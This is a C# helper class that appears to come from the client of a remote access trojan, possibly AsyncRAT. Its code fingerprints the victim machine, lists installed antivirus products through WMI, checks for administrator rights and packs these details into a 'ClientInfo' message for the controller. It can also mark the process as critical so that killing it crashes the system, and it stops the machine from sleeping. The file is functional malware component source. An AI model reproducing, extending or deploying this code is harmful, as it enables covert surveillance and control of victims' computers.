using Client.MessagePack; using Client.Connection; using Microsoft.VisualBasic.Devices; using System; using System.Collections.Generic; using System.Diagnostics; using System.IO; using System.Management; using System.Net.Sockets; using System.Security.Cryptography; using System.Security.Principal; using System.Text; using System.Threading; using System.Drawing.Imaging; using System.Runtime.InteropServices; namespace Client.Helper { static class Methods { public static PerformanceCounter TheCPUCounter { get; } = new PerformanceCounter("Processor", "% Processor Time", "_Total"); public static PerformanceCounter TheMemCounter { get; } = new PerformanceCounter("Memory", "% Committed Bytes In Use"); public static string HWID() { StringBuilder sb = new StringBuilder(); sb.Append(Environment.ProcessorCount); sb.Append(Environment.UserName); sb.Append(Environment.MachineName); sb.Append(Environment.OSVersion); sb.Append(new DriveInfo(Path.GetPathRoot(Environment.SystemDirectory)).TotalSize); return GetHash(sb.ToString()); } public static string GetHash(string strToHash) { MD5CryptoServiceProvider md5Obj = new MD5CryptoServiceProvider(); byte[] bytesToHash = Encoding.ASCII.GetBytes(strToHash); bytesToHash = md5Obj.ComputeHash(bytesToHash); StringBuilder strResult = new StringBuilder(); foreach (byte b in bytesToHash) strResult.Append(b.ToString("x2")); return strResult.ToString().Substring(0, 15).ToUpper(); } private static Mutex _appMutex; public static bool CreateMutex() { bool createdNew; _appMutex = new Mutex(false, Settings.MTX, out createdNew); return createdNew; } public static void CloseMutex() { if (_appMutex != null) { _appMutex.Close(); _appMutex = null; } } public static bool IsAdmin() { return new WindowsPrincipal(WindowsIdentity.GetCurrent()).IsInRole(WindowsBuiltInRole.Administrator); } public static void ClientExit() { try { if (Convert.ToBoolean(Settings.BDOS) && IsAdmin()) ProcessCritical.Exit(); CloseMutex(); ClientSocket.SslClient?.Close(); ClientSocket.TcpClient?.Close(); } catch { } } public static string Antivirus() { using (ManagementObjectSearcher antiVirusSearch = new ManagementObjectSearcher(@"\\" + Environment.MachineName + @"\root\SecurityCenter2", "Select * from AntivirusProduct")) { List av = new List(); foreach (ManagementBaseObject searchResult in antiVirusSearch.Get()) { av.Add(searchResult["displayName"].ToString()); } if (av.Count == 0) return "None"; return string.Join(", ", av.ToArray()); } } public static byte[] SendInfo() { MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "ClientInfo"; msgpack.ForcePathObject("HWID").AsString = HWID(); msgpack.ForcePathObject("User").AsString = Environment.UserName.ToString(); msgpack.ForcePathObject("OS").AsString = new ComputerInfo().OSFullName.ToString().Replace("Microsoft", null) + " " + Environment.Is64BitOperatingSystem.ToString().Replace("True", "64bit").Replace("False", "32bit"); msgpack.ForcePathObject("Path").AsString = Process.GetCurrentProcess().MainModule.FileName; msgpack.ForcePathObject("Version").AsString = Settings.Version; msgpack.ForcePathObject("Admin").AsString = IsAdmin().ToString().ToLower().Replace("true", "Admin").Replace("false", "User"); TheCPUCounter.NextValue(); msgpack.ForcePathObject("Performance").AsString = $"CPU {(int)TheCPUCounter.NextValue()}% RAM {(int)TheMemCounter.NextValue()}%"; msgpack.ForcePathObject("Pastebin").AsString = Settings.Pastebin; msgpack.ForcePathObject("Antivirus").AsString = Antivirus(); return msgpack.Encode2Bytes(); } public static ImageCodecInfo GetEncoder(ImageFormat format) { ImageCodecInfo[] codecs = ImageCodecInfo.GetImageDecoders(); foreach (ImageCodecInfo codec in codecs) { if (codec.FormatID == format.Guid) { return codec; } } return null; } [DllImport("kernel32.dll", SetLastError = true)] public static extern EXECUTION_STATE SetThreadExecutionState(EXECUTION_STATE esFlags); public static void PreventSleep() { try { SetThreadExecutionState(EXECUTION_STATE.ES_SYSTEM_REQUIRED | EXECUTION_STATE.ES_CONTINUOUS | EXECUTION_STATE.ES_DISPLAY_REQUIRED); } catch { } } public enum EXECUTION_STATE : uint { ES_CONTINUOUS = 0x80000000, ES_DISPLAY_REQUIRED = 0x00000002, ES_SYSTEM_REQUIRED = 0x00000001 } } }